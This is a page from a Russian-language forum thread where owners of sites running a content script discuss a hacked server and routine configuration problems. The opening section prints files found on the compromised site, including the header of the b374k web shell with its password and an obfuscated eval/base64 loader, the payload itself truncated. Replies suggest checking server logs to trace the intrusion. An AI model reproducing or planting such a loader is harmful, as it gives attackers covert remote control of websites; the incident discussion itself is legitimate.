     if (($gz=gzopen($filename,'rb')) && ($tf=fopen($tmpf,'wb'))){
        while(!gzeof($gz)){
           if (fwrite($tf,gzread($gz,8192),8192)===FALSE){$err_msg='Error during gz file extraction to tmp file';break;}
        }//extract to tmp file
        gzclose($gz);fclose($tf);$filename=$tmpf;
     }else{$err_msg='Error opening gz file';}
  }
  if (!$err_msg){
   if (!do_multi_sql('', $filename)){
      $err_msg='Import Error: '.mysql_error($dbh);
   }else{
      $out_message='Import done successfully';
      do_sql($SHOW_T);
      return;
  }}
}else{
  $err_msg="Error: Please select file first";
}
print_import();
exit;
}

// multiple SQL statements splitter
function do_multi_sql($insql,$fname=''){
set_time_limit(600);

$sql='';
$ochar='';
$is_cmt='';
$GLOBALS['insql_done']=0;
while ($str=get_next_chunk($insql,$fname)){
    $opos=-strlen($ochar);
    $cur_pos=0;
    $i=strlen($str);
    while ($i--){
       if ($ochar){
          list($clchar, $clpos)=get_close_char($str, $opos+strlen($ochar), $ochar);
          if ( $clchar ) {
             if ($ochar=='--' || $ochar=='#' || $is_cmt ){
                $sql.=substr($str, $cur_pos, $opos-$cur_pos );
             }else{
                $sql.=substr($str, $cur_pos, $clpos+strlen($clchar)-$cur_pos );
             }
             $cur_pos=$clpos+strlen($clchar);
             $ochar='';
             $opos=0;
          }else{
             $sql.=substr($str, $cur_pos);
             break;
          }
       }else{
          list($ochar, $opos)=get_open_char($str, $cur_pos);
          if ($ochar==';'){
             $sql.=substr($str, $cur_pos, $opos-$cur_pos+1);
             if (!do_one_sql($sql)) return 0;
             $sql='';
             $cur_pos=$opos+strlen($ochar);
             $ochar='';
             $opos=0;
          }elseif(!$ochar) {
             $sql.=substr($str, $cur_pos);
             break;
          }else{
             $is_cmt=0;if ($ochar=='/*' && substr($str, $opos, 3)!='/*!') $is_cmt=1;
          }
       }
    }
}

if ($sql){
    if (!do_one_sql($sql)) return 0;
    $sql='';
}
return 1;
}

//read from insql var or file
function get_next_chunk($insql, $fname){
global $LFILE, $insql_done;
if ($insql) {
    if ($insql_done){
       return '';
    }else{
       $insql_done=1;
       return $insql;
    }
}
if (!$fname) return '';
if (!$LFILE){
    $LFILE=fopen($fname,"r+b") or die("Can't open [$fname] file $!");
}
return fread($LFILE, 64*1024);
}

function get_open_char($str, $pos){
if ( preg_match("/(\/\*|^--|(?<=\s)--|#|'|\"|;)/", $str, $m, PREG_OFFSET_CAPTURE, $pos) ) {
    $ochar=$m[1][0];
    $opos=$m[1][1];
}
return array($ochar, $opos);
}

#RECURSIVE!
function get_close_char($str, $pos, $ochar){
$aCLOSE=array(
   '\'' => '(?<!\\\\)\'|(\\\\+)\'',
   '"' => '(?<!\\\\)"',
   '/*' => '\*\/',
   '#' => '[\r\n]+',
   '--' => '[\r\n]+',
);
if ( $aCLOSE[$ochar] && preg_match("/(".$aCLOSE[$ochar].")/", $str, $m, PREG_OFFSET_CAPTURE, $pos ) ) {
    $clchar=$m[1][0];
    $clpos=$m[1][1];
    $sl=strlen($m[2][0]);
    if ($ochar=="'" && $sl){
       if ($sl % 2){ #don't count as CLOSE char if number of slashes before ' ODD
          list($clchar, $clpos)=get_close_char($str, $clpos+strlen($clchar), $ochar);
       }else{
          $clpos+=strlen($clchar)-1;$clchar="'";#correction
       }
    }
}
return array($clchar, $clpos);
}

function do_one_sql($sql){
global $last_sth,$last_sql,$MAX_ROWS_PER_PAGE,$page,$is_limited_sql;
$sql=trim($sql);
$sql=preg_replace("/;$/","",$sql);
if ($sql){
    $last_sql=$sql;$is_limited_sql=0;
    if (preg_match("/^select/i",$sql) && !preg_match("/limit +\d+/i", $sql)){
       $offset=$page*$MAX_ROWS_PER_PAGE;
       $sql.=" LIMIT $offset,$MAX_ROWS_PER_PAGE";
       $is_limited_sql=1;
    }
    $last_sth=db_query($sql,0,'noerr');
    return $last_sth;
}
return 1;
}

function do_sht(){
global $SHOW_T;
$cb=$_REQUEST['cb'];
if (!is_array($cb)) $cb=array();
switch ($_REQUEST['dosht']){
  case 'exp':$_REQUEST['t']=join(",",$cb);print_export();exit;
  case 'drop':$sq='DROP TABLE';break;
  case 'trunc':$sq='TRUNCATE TABLE';break;
  case 'opt':$sq='OPTIMIZE TABLE';break;
}
if ($sq){
  $sql='';
  foreach($cb as $v){
   $sql.=$sq." $v;\n";
  }
  if ($sql) do_sql($sql);
}
do_sql($SHOW_T);
}

function to_csv_row($adata){
global $D;
$r='';
foreach ($adata as $a){
   $r.=(($r)?",":"").qstr($a);
}
return $r.$D;
}
function qstr($s){
$s=nl2br($s);
$s=str_replace('"','""',$s);
return '"'.$s.'"';
}

function get_rand_str($len){
$result='';
$chars=preg_split('//','ABCDEFabcdef0123456789');
for($i=0;$i<$len;$i++) $result.=$chars[rand(0,count($chars)-1)];
return $result;
}

function check_xss(){
global $self;
if ($_SESSION['XSS']!=trim($_REQUEST['XSS'])){
    unset($_SESSION['XSS']);
    header("location: $self");
    exit;
}
}

function rw($s){#for debug
echo $s."<br>\n";
}

?>

top_x.php

<?php
/*
   b374k 2.7
   Jayalah Indonesiaku
   (c)2013
   http://code.google.com/p/b374k-shell

*/
$s_pass = "622aa_skip_c53fc"; // shell password, fill with password in md5 format to protect shell, default : b374k
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("7P1nm+M20igMf779K7RaH/f0qqdJUXnG3V4FKkukcrB9+mImxShGSbb/+wswiZTUPT1je8/e7/WMd2cohEKhUACqCkDVjz8ZovFdJvO99eJyZu_skip_
тут дальше было еще очень много зашифрованного кода.


Взломали смарт?
Эти файлы лежали в папках скрипта.
цитата
14/11/13 в 10:24
 Flesh
Ну собственно я уже сам во всем разобрался.
Подвесили шелл мне. Вопрос каким хером и через какую дырку...
цитата
14/11/13 в 14:31
 Evial
Нужно смотреть логи веб сервера на предмет POST запросов, если бы ты не удалил файлы и посмотрел через stat когда они были созданы, то можно было бы в логах посмотреть что происходило в это время в логах и возможно найти как заливали icon_smile.gif
Плюс в это же время проверить логи ftp.

А так уже не найдешь ты откуда ноги растут icon_sad.gif
цитата
14/11/13 в 18:30
 Stann
Саргас дело говорит
Не нужно торопиться все подчищать, надо было разобраться.
цитата
14/11/13 в 18:54
 AWD
так а в чем проблема? Flesh писал:
С сервера я удалил, но у себя-то оставил.
если скопировал дата создания должна сохраниться...
цитата
15/11/13 в 00:53
 Flesh
как переграбить тумбы?
например я поменял настройки кроп профиля и хочу не затрагивая структуру сайта тупо переграбить тумбы. как это сделать?
перекопал все = и не нашел. icon_confused.gif
цитата
15/11/13 в 06:22
 LemonS
Flesh: massedit - status - regrab
цитата
15/11/13 в 08:13
 Дрон
LemonS писал:
Может галеры были ранее добавлены и уже обрезался лог.
Добавьте одну например и через пару минут можете проверить.

Да вот по одной-две-три вроде как нет проблем. Пробовал с десяток так добавлять - проблему не удалось повторить. Если добавляю партиями по 100-200-300 - то какая та часть падает в "удаленные".

Цитата:
Записи нормальные - удаление отмеченных для удаления тумб.

Да вот это и смущает - сайт новый, ещё не запущенный, галер крайне мало, повторяющихся нет, до этого тоже не добавляли. И часть сразу падает в "удаленные".
цитата
15/11/13 в 08:30
 Jabar
Дрон писал:
Да вот по одной-две-три вроде как нет проблем.

а эти 1-2-3 как раз те которые попали в удаленные?
цитата
15/11/13 в 08:51
 Дрон
Jabar: Если закидываю по 1-2-3, даже 10 - все нормально, грабится без ошибок. Если больше,например, 300 - то часть удаляется. Галеры, которые удаляются, в логе content_graber.log отсутствуют. Если потом эти же галеры (которые удалились) закинуть, например по 1-2-3 и т.д. штук за раз - они нормально грабятся, в content_graber.log появляются.
цитата
15/11/13 в 09:02
 Flesh
LemonS писал:
Flesh: massedit - status - regrab

Не совсем так, но вроде нашел.
Спасибо . ))
цитата
15/11/13 в 15:38
 LemonS
Дрон: ок, скидывайте скрин импорта и те 100-200 или сколько там - я буду пробовать добавлять именно как добавляете вы.
цитата
15/11/13 в 17:35
 LemonS
webdev.bmg писал:
Переключился в режим мультиюзера, создал акк для тумбореза дал ему доступ к Rotation. Он импортирует тумбы но в прелоаде их не видит, я вижу а он нет.
Надписи Permission denied в прелоаде у него нет, все как положено: Preloaded galleries (0 to process, 12 already made, 1 bad) только без контента.


Сорри если овтечал уже, висит почему-то в тикетах топик - вы скидывали данные где проверять проблему ?
цитата
15/11/13 в 18:34
 Flaer
LemonS: подскажи плиз, что за глюки с навигацией бывают?

Частенько на разных сайтах (с одним мастером, то на мастере то на слейве), глючит навигация, есть то 20 страниц архивов то всего 1..
Иднекс идет по ctr 1 страница, кликаю по дате 20 страниц, по ctr 1 страница...
Через пару часов может все восстановится.
При этом темплейты я не меняю...
цитата
15/11/13 в 22:56
 cyberdream3
вопрос шарящим в СЕО - может ли гугл негативно реагировать на домен, где идёт активное использование встроенной в SmartCJ TDSки? icon_rolleyes.gif
а то чот поисковый трафф резко просел, а причину откопать не могу((
цитата
15/11/13 в 23:21
 LemonS
Flaer писал:
LemonS: подскажи плиз, что за глюки с навигацией бывают?

Частенько на разных сайтах (с одним мастером, то на мастере то на слейве), глючит навигация, есть то 20 страниц архивов то всего 1..
Иднекс идет по ctr 1 страница, кликаю по дате 20 страниц, по ctr 1 страница...
Через пару часов может все восстановится.
При этом темплейты я не меняю...


Не знаю, надо рассмтривать конкретную ситуацию где как что делать куда смотреть и тп - просто по описанию "вот бывают глюки нопотом проходят" что ж можно сделать.
цитата
16/11/13 в 11:31
 evilmaster
По навигации вопрос:
Можно ли как то сделать навигацию как у гугла:
Если находимся на первой странице - справа еще 9 цифр, если на 11 - слева четыре (8 9 10 11) и справа четыре (12 13 14 15).
Т.е. всегда четко определенное количество кнопок чтобы было.
цитата
16/11/13 в 12:39
 pirate
Что за ошибка при инсталле:
Код:
PHP Warning:  fopen(/dev/tty): failed to open stream: No such device or address in /home/user/www/*/install_scj.php on line 978
цитата
16/11/13 в 13:41
 Magicum
Блин, как оно задрало. В Global admin -> Stats постоянно один из сайтов сетки выпадает в ноль. Иногда сразу два. Чаще всего мастер, но бывает что и слейвы.

И пишет вверху: http://megadoiki.com/scj/bin/scj_ex.php?exchange_password=blablabla&action=overview : 404

Если зайти в админку этого, который типа 404, то все ок. И статсы там видно. А в мультистатсах он сам себя не видит.

Очередь граба пустая, да. Мне говорили, что длинная очередь такой эффект дает. Хер там, пустая.

Это как, баг или фича?
Стр. « первая   <  180, 181, 182, 183, 184  >  последняя »


Эта страница в полной версии